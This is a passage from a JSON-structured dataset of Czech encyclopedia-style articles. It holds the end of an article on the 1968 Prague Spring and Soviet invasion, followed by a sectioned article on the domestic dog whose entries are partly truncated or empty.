roce 1962 probíhala 60. léta ve znamení uvolňování napětí. Již od konce 50. let přicházely nové kulturní impulzy (např. československá účast na Expu 58, Laterna magika, Divadlo Na zábradlí, Činoherní klub, liberální Literární noviny, filmová Česká nová vlna, v roce 1963 se konala konference o Franzi Kafkovi na zámku v Liblicích, v hudebním světě nesené mj. anglickými skupinami Beatles, Rolling Stones, v Československu dále Nová soustava plánovitého řízení v roce 1965, svět zahájil dobývání vesmíru (soutěž mezi SSSR a USA). Dorůstala nová poválečná generace, jež vyjadřovala nespokojenost se zaběhlými zvyklostmi, společenskými i politickými. Tyto vlivy se projevovaly i v socialistických zemích včetně SSSR (tání po Stalinově smrti během vlády N. S. Chruščova). Alexander Dubček – od roku 1951 člen Národního shromáždění – se stal v roce 1964 členem Slovenské národní rady. Byl prvním tajemníkem národní Komunistické strany Slovenska a v lednu 1968 se stal prvním tajemníkem Ústředního výboru Komunistické strany Československa. Na začátku šedesátých let Československá socialistická republika (ČSSR) zažila ekonomický pokles. V roce 1967 prezident a první tajemník ústředního výboru KSČ Antonín Novotný ztrácel podporu a na prosincovém plenárním zasedání ústředního výboru strany byl poražen reformním křídlem členů ÚV (např. Ota Šik, Václav Slavík, František Vodsloň, Josef Smrkovský) v účelové jednotě se stalinistickými členy ÚV (Vasil Biľak, Drahomír Kolder a Oldřich Švestka) proti A. Novotnému. Toto zasedání se protahovalo co do délky, až muselo být kvůli Vánocům přerušeno, aby posléze ve svém pokračování jako lednové 1968 vešlo do dějin coby jednání udávající směr dalšího vývoje. A. Dubček v něm byl zvolen jako kompromisní nevýrazný kandidát přijatelný pro obě křídla i pro Moskvu. V prosinci 1967 Novotný pozval generálního tajemníka sovětské komunistické strany Leonida Brežněva do Prahy, kde byl Brežněv šokován rozsáhlostí opozice vůči prezidentovi a vrchnímu šéfovi strany Novotnému, jenž kromě jiného v létě toho roku v Martině na jubilejních oslavách Matice slovenské svým hrubě necitlivým jednáním těžce urazil slovenskou veřejnost i tamní stranické vedení, a podpořil návrh na jeho odstranění z vedení strany (k tomu přispěla i snaha A. Novotného o částečnou nezávislost na moskevském vedení a v době boje o moc mezi Brežněvem a Kosyginem jeho podpora Kosygina). 5. ledna 1968 byl Dubček zvolen (na základě návrhu A. Novotného, po dlouhém neúspěšném vyjednávání) prvním tajemníkem ÚV KSČ. Později, 22. března 1968 Antonín Novotný rezignoval i na funkci prezidenta státu, a 30. března byl nahrazen Ludvíkem Svobodou.", "V pátek 5. dubna ÚV KSČ schválil liberální \"Akční program KSČ\", který zahrnoval zvýšení svobody tisku a větší orientaci ekonomiky na spotřební zboží, částečnou liberalizaci ekonomiky. „Vedoucí úloha KSČ“ však měla být zachována. Také byla naplánována federalizace ČSSR ve dvě rovnoprávné republiky. Na doporučení ÚV KSČ poté podala 6. dubna demisi vláda Jozefa Lenárta a 8. dubna byla jmenována nová vláda Oldřicha Černíka, jejíž prioritou bylo plnění úkolů Akčního programu.. Ačkoliv \"Akční program\" vyhrazoval, že musí postupovat pod vedením KSČ, veřejnost tlačila na stranu, aby reformy provedla urychleně. Radikální občané se projevovali mnohem hlasitěji: protisovětské polemiky byly vydávány v tisku, sociální demokraté se snažili formovat samostatnou stranu a byly zakládány další nové politické kluby (např. KAN či K 231). Konzervativní členové strany požadovali represivní opatření, ale Dubček zastával zdrženlivý názor a znovu zdůrazňoval vedoucí úlohu KSČ. Na zasedání komunistické strany Československa v dubnu Dubček oznámil politický „akční program“. V květnu oznámil, že 14. sjezd strany se bude konat 9. září. Sjezd měl začlenit Akční program KSČ mezi stanovy strany, měl navrhnout federalizační zákon a zvolit nový ústřední výbor strany. Jedním z nejvýznamnějších reformních počinů Pražského jara bylo uvolnění cenzury v únoru 1968 a její úplné zrušení 4. března (formálně potvrzeno zákonem č. 84 ze dne 26. června 1968, cenzura byla zrušena vůbec poprvé v české historii). 27. června 1968 byl zveřejněn manifest zformulovaný na podnět několika pracovníků Československé akademie věd (ČSAV) spisovatelem a novinářem Ludvíkem Vaculíkem (člen KSČ) s názvem \"Dva tisíce slov\". Vaculík v něm kritizuje konzervativní prvky uvnitř KSČ, brzdící reformy, a navrhuje, aby se občané sami aktivně snažili prosadit reformní program. Dubček, prezídium strany, Národní fronta a kabinet odsoudili manifest. Okupací Československa v podstatě skončil proces, kterému se začalo říkat pražské jaro. Následovalo období, ve kterém se postupně dostali k moci politici, kteří poté zahájili tzv. normalizaci. Tím byly jakékoli pokusy o změnu politického systému v republice na dlouhých 21 let potlačeny. (Po okupaci mezi lidmi koloval kromě mnoha jiných výrok: „Přátelství se Sovětským svazem je nesmysl právě tak, jako nemůže existovat přátelství otroka a otrokáře.“)", "Leonida Brežněva a vedení zemí Varšavské smlouvy znepokojily události okolo Dubčekových reforem, obávali se oslabení východního bloku v rámci studené války. Vedení Sovětského svazu se zpočátku pokoušelo zastavit nebo omezit změny v ČSSR sérií upozornění, brzy však prohlásilo celé reformní hnutí za kontrarevoluční. Sovětský svaz se uvolil k červnovým bilaterálním rozhovorům v Čiernej nad Tisou, slovenském pohraničním městečku na sovětsko-slovenské hranici. Během setkání hájil Dubček program reformního křídla KSČ a slíbil loajalitu Varšavské smlouvě a RVHP. Vedení KSČ bylo rozdělené mezi důrazné reformátory (Josef Smrkovský, Oldřich Černík a František Kriegel), kteří podporovali reformy, a mezi konzervativní politiky (Vasil Biľak, Drahomír Kolder a Oldřich Švestka), kteří brzdili reformní úsilí. Brežněv se rozhodl pro kompromis. Delegáti KSČ znovu potvrdili svoji blízkost k Varšavské smlouvě a slíbili omezení „protisocialistických“ tendencí, zabránění návratu Československé sociálně demokratické strany a větší kontrolu tisku. Sověti souhlasili s odsunem svých vojsk, která již od června po společných manévrech Varšavské smlouvy stále zůstávala v Československu, a rozhodli se tolerovat sjezd strany 9. září. Reprezentanti Sovětského svazu, NDR, Polska, Maďarska, Bulharska a Československa se 3. srpna setkali v Bratislavě při podpisu \"Bratislavské smlouvy\", jež potvrzuje neotřesitelnou věrnost marxismu-leninismu a proletářského internacionalismu a deklarovali nesmiřitelný boj proti \"buržoazní\" ideologii a všem protisocialistickým živlům. Sovětský svaz vyjádřil záměr k intervenci do země Varšavské smlouvy, pokud \"buržoazní\" systém některých politických stran začnou reprezentovat různé frakce kapitalistické třídy. Po bratislavské konferenci sovětští vojáci sice opustili československé území, ale zůstávali nadále podél hranic. Vzhledem k tomu, že tyto rozhovory nedopadly z hlediska sovětských vůdců uspokojivě, vzali tito v úvahu vojenskou alternativu. Politika nepřekonatelné socialistické vlády nad satelitními státy Sovětského svazu, politika problému jednoho státu, který je problémem i ostatních států „Východního bloku“ (případně i s vojenskou pomocí), se stala známou jako Brežněvova doktrína.. Sám Brežněv však s intervencí dlouho váhal. Ještě 13. srpna se v telefonickém rozhovoru snažil „Sašu“ Dubčeka přesvědčit, aby reformy zabrzdil, a dal mu jasně najevo, že pokud tak neučiní, Sovětský svaz zasáhne. V noci z 20. srpna na 21. srpna 1968 vstoupily armády zemí Varšavské smlouvy přes hranice do ČSSR. Dvě hodiny po půlnoci 21. srpna 1968 ÚV KSČ schválil a posléze prostřednictvím Československého rozhlasu odvysílal Provolání Všemu lidu ČSSR: \"Všemu lidu Československé socialistické republiky!\" \"Včera, dne 20. srpna 1968 kolem 11. hodiny večer, překročila vojska Sovětského svazu, Polské lidové republiky, Německé demokratické republiky, Maďarské lidové republiky a Bulharské lidové republiky státní hranice Československé socialistické republiky. Stalo se tak bez vědomí presidenta republiky, předsedy Národního shromáždění, předsedy vlády i prvního tajemníka ÚV KSČ a těchto orgánů.\" 22. srpna 1968 se narychlo a v utajení sešel mimořádný sjezd KSČ (Vysočanský sjezd KSČ). Invazi bezprostředně následovala dosud nevídaná vlna emigrace, mnozí občané Československa se nevrátili ze svých dovolených v západních zemích nebo v Jugoslávii. Tato vlna sice za nějakou dobu ochabla, obzvlášť po uzavření státních hranic v říjnu 1969, nicméně přibližně 70 000 lidí bylo v nepřítomnosti odsouzeno za nezákonné opuštění republiky v prvních měsících okupace, většinou k trestům odnětí svobody na zhruba dva roky a k propadnutí majetku. Celkově to postihlo okolo 300 000 osob. Většina emigrantů byli vzdělaní lidé. Západní země jim bez problémů udělovaly povolení k trvalému pobytu a práci, většinou ve spojení s politickým azylem, ze kterého zmíněná povolení vyplývají zákonitě.", "A. Dubček postupně odvolal z vedoucích funkcí představitele reformního proudu v KSČ. V dubnu 1969 byl první tajemník strany Dubček nahrazen Gustávem Husákem a tím začalo období tzv. normalizace. 22. srpna 1969 schválilo předsednictvo Federálního shromáždění přes Dubčekovy protesty tzv. pendrekový zákon, který Dubček jakožto předseda Federálního shromáždění spolu se Svobodou a Černíkem podepsal. Později byl Dubček vyloučen z KSČ a dostal práci lesního úředníka poté, co ještě nějakou dobu zastával funkci československého velvyslance v Turecku. Proti okupaci se uskutečnila malá, ale významná Demonstrace na Rudém náměstí v Moskvě. Pro konečnou likvidaci reformního procesu lze konstatovat jako rozhodující dva mezníky: Prvním byly spontánní oslavné demonstrace po druhém vítězství československé hokejové reprezentace nad mužstvem Sovětského svazu na mistrovství světa ve Stockholmu. Při nich došlo k (s největší pravděpodobností vyprovokovaným) útokům na sovětská zařízení v Československu, především ke zdemolování zastoupení sovětské letecké společnosti Aeroflot v Praze na Václavském náměstí. Zejména tento čin pak vedl k politice „sypání si hlavy popelem“ ze strany československého vedení s následnými masovými ústupky sovětským požadavkům. Závěrečnou tečkou pak bylo násilné potlačení demonstrací k prvnímu výročí okupace dne 21. srpna 1969 (s několika mrtvými v Praze již v předvečer výročí okupace). Jako významný dokument pro tento okamžik si nově nastolený režim vytvořil ve svém smyslu silně tendenční reportážní a komentující publikaci v novinovém formátu nazvanou „Neprošli“. Ta potom byla až do upevnění moci opakovaně zmiňována a citována v médiích a na akcích pod politickým vlivem pro zdůraznění marnosti jakýchkoliv dalších snah reformních – „kontrarevolučních“ – sil. Rok 1969 byl jediný rok během vlády KSČ, kdy byly odřeknuty jinak neodmyslitelné tradiční oslavy 1. máje, a to kvůli obavám z možného vzniku nepokojů. V témže roce se také Československo nezúčastnilo Závodu míru, největšího amatérsky vedeného cyklistického závodu na světě, jehož bylo spoluzakladatelem a vedle NDR a Polska jindy též spolupořadatelem. Husákovo vedení zrušilo naprostou většinu reforem provedených v šedesátých letech, „očistilo“ stranu od jejích liberálních členů a propustilo z vedoucích funkcí profesionální a intelektuální elity, které podporovaly reformy pražského jara nebo neprojevily souhlas s „normalizací“. Husák pracoval na obnovení vlivu policejních autorit a silných vazeb s ostatními „socialistickými“ státy. Také znovu zcela centralizoval řízení hospodářství. (Významné byly svobody garantované průmyslu během pražského jara Novou hospodářskou soustavou.) KSČ zavedla cenzuru a kádrování v důsledku horší než v druhé polovině 60. let; cenzura byla nyní založená především na autorské autocenzuře určené pravidly, jež byla jen z části jasně definovaná, a následné kontrole. Rozbujela se korupce a celková mravní devastace československé společnosti. Jediným výrazným pozůstatkem byla federalizace země, kterou byly roku 1969 formálně vytvořeny Česká socialistická republika s Českou národní radou a Slovenská socialistická republika se Slovenskou národní radou. Avšak rozhodující mocenská struktura KSČ se nefederalizovala, zůstala centrální. Federativní uspořádání však bylo definitivně schváleno teprve 28. října 1968, tedy až po rozbití reformního hnutí invazí. Koncem osmdesátých let byl sovětský vůdce Michail Gorbačov (mj. spolužák jednoho z významných československých komunistických reformátorů Zdeňka Mlynáře) někdy považovaný pro svou liberalizační politiku \"glasnosti\" a \"perestrojky\" za následníka pokusů o \"socialismus s lidskou tváří\". Na dotaz k rozdílu mezi pražským jarem a jeho vlastními reformami Gorbačov odpověděl: „Devatenáct let“, čímž se jen částečně distancoval od srovnávání jeho úsilí s pražským jarem. Po sametové revoluci v roce 1989 se Dubček stal předsedou federálního shromáždění.", "Západní země prožívaly v šedesátých letech velký hospodářský rozmach, což tam vedlo ke zvyšování životní úrovně a k poklesu zájmu o komunistickou ideologii. Vedení tamních komunistických stran vkládalo proto veliké naděje do pražského jara. Příklad Československa měl ukázat, že i socialistická země může plynule a nenásilně přejít k demokracii. Vpád sovětských vojsk znamenal pro většinu levicově smýšlejících lidí v západních zemích vystřízlivění z marxisticko-leninistických myšlenek. Poznali, že diktatura umí jen používat hrubou sílu a zásadně nediskutuje. Komunistické strany západních zemí upadly do sporů a rozdělily se na dvě části: většina z nich okupaci odsuzovala, malá část ji schvalovala. Během let pak následoval pokles členské základny. Proto počátkem 80. let nechtěl SSSR v Polsku invazně zasahovat, neboť „nemůže opakovat stejnou chybu“. To přispělo k růstu eurokomunistických idejí v západních komunistických stranách, které byly dalece vzdálené od linie určované Sovětským svazem a eventuálně vedly časem k rozpuštění mnoha z těchto stran. O deset let později bylo jméno pražského jara analogicky propůjčeno k čínské politické liberalizaci nazývané Pekingské jaro. Dalším odkazem na pražské jaro je Chorvatské jaro v Jugoslávii. Následky pražského jara a jeho potlačení se odrazily v populární hudbě, například ve tvorbě Karla Kryla nebo v \"Requiem\" Luboše Fišera a ve skladbě \"Hudba pro Prahu 1968\" skladatele Karla Husy. Za příklad mezinárodního vlivu na kulturu může posloužit muzikál japonského divadelního souboru \"Takarazuka Revue\" \"Prague Spring / Lucky Star!\" (\"Pražské jaro / Šťastná hvězda!\"). \"They Can't Stop The Spring\" je píseň irského nezávislého novináře a písničkáře Johna Waterse, která reprezentovala Irsko na Velké ceně Eurovize za rok 2007. Waters zde popisuje „keltskou oslavu východoevropských revolucí a jejich eventuálních dopadů“, citoval tím i Dubčekův údajný výrok: „Mohou poničit květiny, ale nezastaví jaro.“ Pražské jaro 1968 a jeho odmítnutí Sovětským svazem, stejně jako jím inspirované nepokoje ve Východním Berlíně zmiňuje přední švýcarský rockový hudebník Polo Hofer ve svém songu \"Summer 68\", obecně vzpomínajícím na léto 1968. Pražské jaro 1968 se také objevuje v literatuře. Milan Kundera umístil děj své novely \"Nesnesitelná lehkost bytí\" do atmosféry pražského jara. V díle se objevují zvětšující se represe sovětské přítomnosti a diktatury policejní kontroly lidu. Stejnojmenná filmová verze příběhu byla natočena v roce 1988. \"Osloboditelé\" od Viktora Suvorova je očitým svědectvím invaze do Československa z pohledu velitele ruského tanku. Divadelní hra \"Rock N Roll\" byla napsána českým rodákem Tomem Stoppardem a zmiňuje se o pražském jaru stejně jako o sametové revoluci. Rakouská filmová tetralogie \"Der Bockerer\" pojednává o historii Rakouska od anšlusu po pražské jaro 1968. Číslo \"68\" je symbolem bývalého Československa. Hokejista Jaromír Jágr obléká dres s číslem 68, a to i během svého působení v ruském Omsku. V Torontu bylo založeno vydavatelství '68 Publishers, které vydávalo knihy českých a slovenských exilových autorů. Název se také odvolává na rok pražského jara." ] }

{ "title": [ "Původ psa.", "Popis.", "Rozdíl mezi psem a fenou.", "Anatomie psa.", "Vzhled psa.", "Hlava.", "Tělo.", "Smysly psa.", "Čich.", "Zrak.", "Sluch.", "Srst a zbarvení srsti.", "Základy fyziologie psa.", "Rozmnožování.", "Říje.", "Páření.", "Březost.", "Porod.", "Štěně.", "Chování psa.", "Vrozené chování.", "Temperament.", "Etogram psa.", "Získané chování.", "Socializace.", "Podmiňování.", "Inteligence psů.", "Strava.", "Krmení granulemi.", "Pes v kultuře.", "Starověk.", "Starověký Egypt.", "Mezopotámie.", "Starověké Řecko.", "Starověký Řím.", "Středověk.", "Křesťanství.", "Islám.", "Novověk.", "Omezení chovu psů.", "Psí maso.", "Kynologie.", "Psí sporty.", "Plemena psů.", "Kritika.", "Cat people vs. dog people." ], "section_level": [ "1", "1", "2", "2", "2", "3", "3", "2", "2", "2", "2", "1", "1", "1", "2", "2", "2", "2", "2", "1", "2", "3", "3", "2", "3", "3", "2", "1", "2", "1", "2", "3", "3", "3", "3", "2", "2", "2", "2", "3", "2", "1", "2", "1", "1", "1" ], "content": [ "Nejbližší příbuzný domácího psa je vlk obecný – od psa se liší v nanejvýš 0,2 % sekvence mtDNA. Od vlka se ale pes liší morfologicky – psi mají kratší a širší čenich, celkově širší lebku, více dopředu postavené oči, méně robustní zuby a menší a plošší bubínkové výdutě () na lebce. Některé pro psa charakteristické morfologické znaky včetně povrchové struktury mozku jsou vlastní též šakalům a kojotům a tato podobnost vedla k teoriím o původu psa z těchto šelem nebo o polyfyletickém původu psa, což je teorie, která říká, že předkem psa jsou kříženci psovitých šelem. Žádné genetické testy ale nepotvrzují spřízněnost psa s šakalem, v úvahu připadá jen přikřížení vlčka etiopského nebo dhoula, pro tuto teorii však nejsou žádné přímé důkazy. První analýzy mtDNA ukázaly, že předkové psích plemen se od vlka oddělily asi před 135 000 lety, jiné výzkumy toto datují do doby před 76–121 000 lety. Možná se tak stalo ve Východní Asii, kde výzkumy odhalily velkou různorodost genů místních psů, což by ukazovalo na centrum domestikace, jiná analýza polymorfismu mtDNA provedená v roce 2009 tuto teorii nepotvrdila, výsledky tohoto výzkumu ukazují podobnou diversitu i u psů žijících v okolí Afrických vesnic i v Portoriku. Další studie publikovaná ve stejném roce, která analyzovala již celý mitochondriální genom a ne jen vybrané úseky, znovu prokázala největší diversitu v Asii a označila jako centrum domestikace psa Jihovýchodní Asii na jih od řeky Jang-c’-ťiang, přičemž počet předků je odhadován na nejméně 51 vlčic, které žily před 5400-16 300 lety. Tedy v době, kdy v dané oblasti lidé začali pěstovat rýži. Teorii o jihoasijském původu psa potvrzují i analýzy chromozomu Y, u kterého byla také nalezena největší diversita právě u psů v Jihovýchodní Asii. Podle těchto výzkumů pochází pes z 13–24", "Pes patří mezi psovité šelmy a stavbou těla je podobný svým příbuzným. Má štíhlé svalnaté tělo s mohutným hrudníkem. Na hrudník je pod úhlem asi 40 ° nasazen svalnatý krk, který nese hlavu s prodlouženou čenichovou partií. Oči jsou menší, naopak ušní boltce nápadné, původně vzpřímené a zašpičatělé, u prošlechtěných plemen též klopené a převislé. Končetiny jsou stavěny pro vytrvalost v chůzi i běhu. Pes je prstochodec, našlapuje na pružné nášlapové polštáře, což jsou zrohovatělé bezsrsté útvary na tlapkách, drápy jsou pevné, tupé a nezatažitelné. Na hrudní končetině má pes pět prstů, z nichž palec je zakrnělý a nedotýká se země, na pánevních končetinách jsou zpravidla jen čtyři prsty. Ocas psa je obecně středně dlouhý a jen málokdy je zcela rovný, často bývá šavlovitý, srpovitý nebo aspoň jeho konec je stočený vzhůru. Tělo psa je zpravidla kryté srstí různé délky i struktury. Primitivní plemena psů, zdivočelí psi, jako je dingo a novoguinejský zpívající pes, a páriové na celém světě jsou si navzájem velmi podobní a je možné, že takto vypadal původní „prapes“: jsou to psi střední velikosti, vážící 14–20 kg, tvarem těla připomínají malého vlka nebo lišku. Mají vzpřímené uši klínovitého tvaru, špičatý čenich, oči mandlovitého tvaru a dlouhý stočený ocas. Jsou krátkosrstí a typické zbarvení je světle hnědé nebo červenohnědé, někdy též s bílými znaky. Stavbou těla i lebky jsou tito původní psi podobní vlku indickému (), vlku himálajskému () a již vyhynulému malému druhu vlka \"Canis variabilis\", který žil na území dnešní Číny před 200 000-500 000 lety. Mezi dnešními plemeny psů existují obrovské rozdíly co do velikosti i tělesných proporcí: nejmenším plemenem je čivava, s ideální hmotností 1,5 až 3 kg, obecně největšími psem je irský vlkodav s kohoutkovou výškou minimálně 71 cm, rekordmanem je nicméně německá doga s kohoutkovou výškou přesahující 1 metr, nejtěžšími psy jsou bernardýn a anglický mastif, s hmotností přesahují 100 kg.", "Feny (samice psa domácího) jsou všeobecně menšího vzrůstu, nižší váhy, jsou méně mohutné než psi. Chováním jsou spíše něžnější, přítulnější a věrnější. Mají klidné, vyrovnané chování, obvykle se dají lépe cvičit. Mají méně dominantní chování. Obtížněji ovladatelná je fena v době hárání, kdy se snaží utíkat ke psům. U některých fen se někdy objevuje tzv. falešná březost, kdy se", "Kostra psa se bez ohledu na plemennou příslušnost psa skládá z 271–282 kostí. Kostra se dělí na tři hlavní části – lebku, která chrání mozek a nese silné čelisti umožňující masožravý způsob života, osový skelet – páteř a hrudní koš, které tvoří osu těla a chrání vnitřní orgány, a kostru končetin. U většiny psů je růst dlouhých kostí do délky dokončen mezi 10. a 12. měsíci věku, Kosterní svaly psa se šlachami upínají na kosti a přenáší na ně svalovou práci,", "Zatímco vnitřní anatomie je u všech psů víceméně stejná, vzhledem a vnějšími znaky se jednotlivá plemena výrazně liší. Popis exteriéru ideálního jedince konkrétního plemene je zaznamenán ve standardu plemene, přičemž v Česku se psi s průkazem původu posuzují především podle standardů Mezinárodní kynologické federace, FCI. Při popisu exteriéru psa je prvotní informací výška psa v kohoutku: pod 35 cm hovoříme o malých psech, mezi 35 až 50 cm se jedná o psy střední, psi s kohoutkovou výškou mezi 50–80 cm jsou velcí a nad 80 cm kohoutkové výšky dorůstají obří plemena. Dalším exteriérovým znakem je tělesný rámec psa, tzn. poměr mezi délkou těla a kohoutkovou výškou, ten může být buď čtvercový nebo obdélníkový.", "Hlava psa je rozdělena na dva hlavní celky: mozkovnu a čenichovou partii. Přechod mezi mozkovnou a čenichem se nazývá stop. Podle poměrů délek mozkovky a nosu se psi dají obecně rozdělit do tří skupin: Na úrovni stopu jsou umístěné oči. Pes má kulatou zornici a duhovku, která je u většiny plemen psů hnědá, ideálně tmavohnědá. U jiných plemen je povolená barva světle hnědá, jantarově žlutá, modrá, nebo i nestejně zbarvené oči. Ve vnitřním koutku oka se nachází třetí oční víčko, spojivkou pokrytá chrupavčitá ploténka, která chrání oko před případnými cizími tělesy, jako je prach nebo písek. U zdravého oka je třetí víčko nenápadné. Původním tvarem hlavy je hlava klínovitá, též vlčí. Čenichová partie postupně směrem k čenichu zužuje. Je typická pro německé ovčáky, špice, šiperku, kolie a mnoho dalších. Hlava hranatá je charakteristická kratší čenichovou partií, která se nezužuje. Je mohutná, s patrnými lícními kostmi. Hranatou hlavu mají například molossoidní plemena nebo americký pitbulteriér. Kulatou hlavu mají malá společenská plemena, jako je opičí pinč nebo shih-tzu. Speciálně u čivavy se navíc vyžaduje vypouklé čelo a hlava tzv. jablkovitá. Vejčitá hlava je charakteristickým znakem anglického bulteriéra. Tvar ušního boltce, jeho velikost a postavení velice", "Hlava plynule přechází v krk. Spojnici mezi krkem a hřbetem tvoří kohoutek, ten je tvořen lopatkovým okrajem převyšujícím trnové výběžky prvních 3–4 hrudních obratlů. Lopatka psa je dlouhá a šikmá a s ramenní kostí by měla svírat úhel 90°–100° a se zemí asi 45°–50°. Společně s ramenní a hrudní kostí tvoří podklad předhrudí. Při správném zaúhlení a dostatečně dlouhé pažní kosti jsou hrudní končetiny umístěny na nejnižším bodě hrudníku a kolmice spuštěná od kohoutku k zemi prochází loktem. Zakřivení ramenní kosti kopíruje klenutí žeber, hrudní končetiny jsou umístěné rovně pod tělem. Nadprstí by mělo být silné, pružné a šikmé, úhel mezi předloktím a nadprstím by se měl pohybovat mezi 25–30°. Při slabém nadprstí dochází k vytáčení tlapek, příliš strmé nadprstí nedostatečně tlumí nárazy při pohybu a vede ke zvýšené zátěži kloubů. Na hrudních končetinách má pes pět prstů, na pánevních čtyři, zakončené tupými drápy, které slouží při běhu jako tretry. Občas", "", "Nosní houba by měla být dobře pigmentovaná a nozdry dostatečně široké. Nosní houba je obvykle chladná a vlhká, zvlhčována sekretem, ve kterém se rozpouštějí pach nesoucí molekuly a umožňují tak jejich zachycení a zpracování. Uvnitř psího nosu jsou stočené nosní skořepy pokryté čichovou sliznicí, jejíž plocha se průměrně pohybuje od 70 do 200 cm2. Větší plocha čichové sliznice je u psů s delší čenichovou partií, u krátkolebých plemen je menšího rozsahu. Sliznice je", "Psí oči jsou podobné očím lidským, ale v mnoha ohledech se od nich liší. Jsou plošší než lidské oči a jejich čočka nemůže zaostřovat stejně dobře jako u lidí, proto pravděpodobně netvoří tak ostrý obraz. Psi jsou dalekozrací, na krátkou vzdálenost nevidí ostře a k prozkoumání blízkých předmětů používají hlavně čich a hmat. Na druhou stranu mají psi, stejně jako ostatní šelmy, v oku za sítnicí tapetum lucidum, odrazivou vrstvu, která umožňuje dobré vidění i za šera, psí oči (a odpovídající zrakové centrum v mozku) jsou také citlivější na pohyb. Psí sítnice obsahuje více světločivných buněk tyčinek, které umožňují vnímání kontrastu. Psi mají větší zorničku a", "Rozsah slyšení zdravého psa, tedy frekvenční rozsah který pes vnímá jako zvuk, je větší než u lidí, psi vnímají zvuk o kmitočtech 40 Hz až 60 000 Hz. Taktéž nižší", "Obecně můžeme rozdělit psí srst do několika druhů: Všichni psi línají, obvykle 2× ročně. U kudrnaté a hrubé srsti se ale odumřelé chlupy zachycují v ostatních chlupech a samy nevypadávají. Základem zbarvení srsti je pigment melanin, přesněji jeho formy, černý eumelanin a hnědý feomelanin. Výsledné zbarvení srsti je fenotypový projev účinku genů, které řídí druh produkovaného pigmentu, tvar pigmentových granulí, množství granulí v chlupu s jejich rozvrstvení. U psů je", "Počet dechů u malého psa se pohybuje v rozmezí 15 až 30 za minutu, u velkého psa pak mezi 10–20 za minutu. Krev psa tvoří asi 10 % jeho tělesné hmotnosti, psí srdce pak skoro 0,8% tělesné hmotnosti, což je více v porovnání s ostatními savci. Tepová frekvence u malých plemen se pohybuje mezi 90 –", "", "Feny pohlavně dospívají v 7. až 12. měsíci života. V tomto věku jsou schopné rozmnožovaní, i když krytí se při prvním hárání nedoporučuje z vícerých důvodů. Prvním z nich je nedokončený vývoj kostry a s tím související nedostatečný prostor v pánvi. Dalším je pozastavení tělesného vývoje feny při březosti.", "Páření (krytí) je složitý reflexní děj, který tvoří celá řada podmíněných a nepodmíněných reflexů. Při páření", "Březost feny trvá průměrně 63 dní. Průběh březosti je velmi individuální. Některé feny na začátku březosti mění své chování – jsou mazlivější, víc jedí.", "Porod probíhá ve třech fázích a trvá od 6 do 12 hodin, případně déle. První fáze porodu se projevuje nepokojem feny, jejíž míra je velmi individuální. Ve druhé fázi", "Štěňata se rodí slepá a hluchá, nemají ani vyvinutý čich. Mají dobře vyvinutý sací reflex. Dokáží se přesouvat na kratší vzdálenost lezením, neumí se však postavit. 12 dnů po narození otevírají oči. V přibližně 20. dni života začínají reagovat na zvukové a čichové podněty. V období mezi třetím a dvanáctým týdnem se jim zdokonalují smysly a začínají být", "Chování dospělého psa je zčásti dáno jeho geneticky danými vlastnostmi, jako je typ nervové soustavy, temperament a instinkty, které jsou dále modifikovány během socializace a učením. Pes je mentálně zhruba na úrovni dvou až dvouapůlletého dítěte, do určité míry je schopen řídit se racionálním plánem nezávislým na vrozených vzorcích chování a vykazují znaky elementární rozumové činnosti. Chování je také to, čím se domácí pes nejvíce odlišuje od vlka, a to v důsledku domestikace a s ní spojenou dlouhodobou selekci na určitý typ chování. Pes v tomto směru vykazuje silné znaky neotenie, což se stav, kdy vzorce chování mláďat, v tomto případě vlčat, přetrvávají až do dospělosti. Psi, na rozdíl od dospívajících vlků, nemají tendenci opouštět svou smečku ani přebírat vedení smečky stávající, jsou mnohem méně dominantní, a jejich lovecké pudy jsou do jisté míry potlačeny a modifikovány.", "", "Každý pes má vrozený určitý typ vyšší nervové činnosti, temperament, který se dá charakterizovat jako souhrnný projev podmíněných i nepodmíněných reflexů a určuje míru vzrušivosti, způsob reakce na podněty a délku trvání této reakce. Ve svém důsledku ovlivňuje rychlost a ochotu k učení psa, přizpůsobivost k podmínkám prostředí i emoce psa. Čtyři základní typy vyšší nervové činnosti se ve své základní čisté podobě příliš často nevyskytují, rozlišují se řady mezitypů. Obecně je ale možné tvrdit, že pes sangvinik je ideálním psem, který je dobře pohyblivý, rychle reaguje na podněty, ale jeho projevy jsou vyrovnané, není zbrklý. Nenechá se vyprovokovat k extrémním agresivním nebo naopak obranným reakcím, pracuje radostně a ochotně. Je přizpůsobivý, nebojácný, lehce se vychovává a cvičí. Vyrovnaný a pomalý typ, flegmatik,", "Etogram je souhrnný popis inventáře vrozeného chování zvířete. Představuje souhrn funkčních okruhů chování, které má pes vrozené, instinktivní.", "Získané chování psa se vyvíjí až během jeho života na základě učení. Průměrný pes se dokáže naučit 165 slov a nadprůměrně inteligentní psi až 250 slov, psi dokážou počítat do čtyř nebo pěti a registrují chybný výsledek při jednoduchých počtářských úlohách, jako je 1+1=1 nebo 1+1=3.", "Pro psa je velmi důležité vtištění, které probíhá od 3. do 7. týdne věku štěněte, jinak také raná socializace. Během této doby se štěně seznamuje se všemi věcmi, které v dalším životě bude vnímat jako běžnou součást prostředí, štěně, které není v této fázi v těsném kontaktu s člověkem nikdy nebude přítulné, naopak štěně, které si člověka vtiskne jako příslušníka", "Učení podmiňováním je u psů hlavním procesem, kterým dochází k vytvoření získaného chování. Klasické podmiňování je se psy přímo spjato, a to díky výzkumům ruského fyziologa a nositele Nobelovy ceny, I. P. Pavlova. Původně zcela neutrální podnět, v tomto případě zazvonění zvonku nebo rozsvícení žárovky, se ve spojení s podáváním potravy mění ve spouštěč chování – stává se z něj podnět podmíněný. Psi po vystavení podmíněnému podnětu sliní, i když potravu nedostanou. Pes získává během života určité zkušenosti, které, pokud se opakují nebo jsou-li silně vnímány, tvoří základ pro vytváření těchto podmíněných reflexů. Na cíleném vytváření podmíněných reflexů je založena klasická teorie výcviku psa. Například učení povelu sedni probíhá tak, že pes se", "Inteligence psů je menší než u jejich předchůdců – vlků. Vlci například lépe chápou příčinu a následek, protože nebyli domestikováni. Vlci také lépe spolupracují mezi sebou. Psi jsou spíše vycvičeni poslouchat člověka. Jejich inteligence není nijak výjimečná. Podle profesora S. Corena se celková inteligence psa skládá ze tří složek: instinktivní, adaptivní a pracovní inteligence. Instinktivní inteligence se týká geneticky zakódovaných dovedností, dále upevněných cíleným výběrem a šlechtěním daných plemen na určitý druh výkonu. Adaptivní inteligence je dále tvořena schopností učit a schopností samostatně řešit problémy. Ta je u prošlechtěných plemen psů horší než u vlků nebo u dingů.", "V dnešní době existuje mnoho druhů krmiv pro psy. Patří mezi ně například maso, granule, BARF, 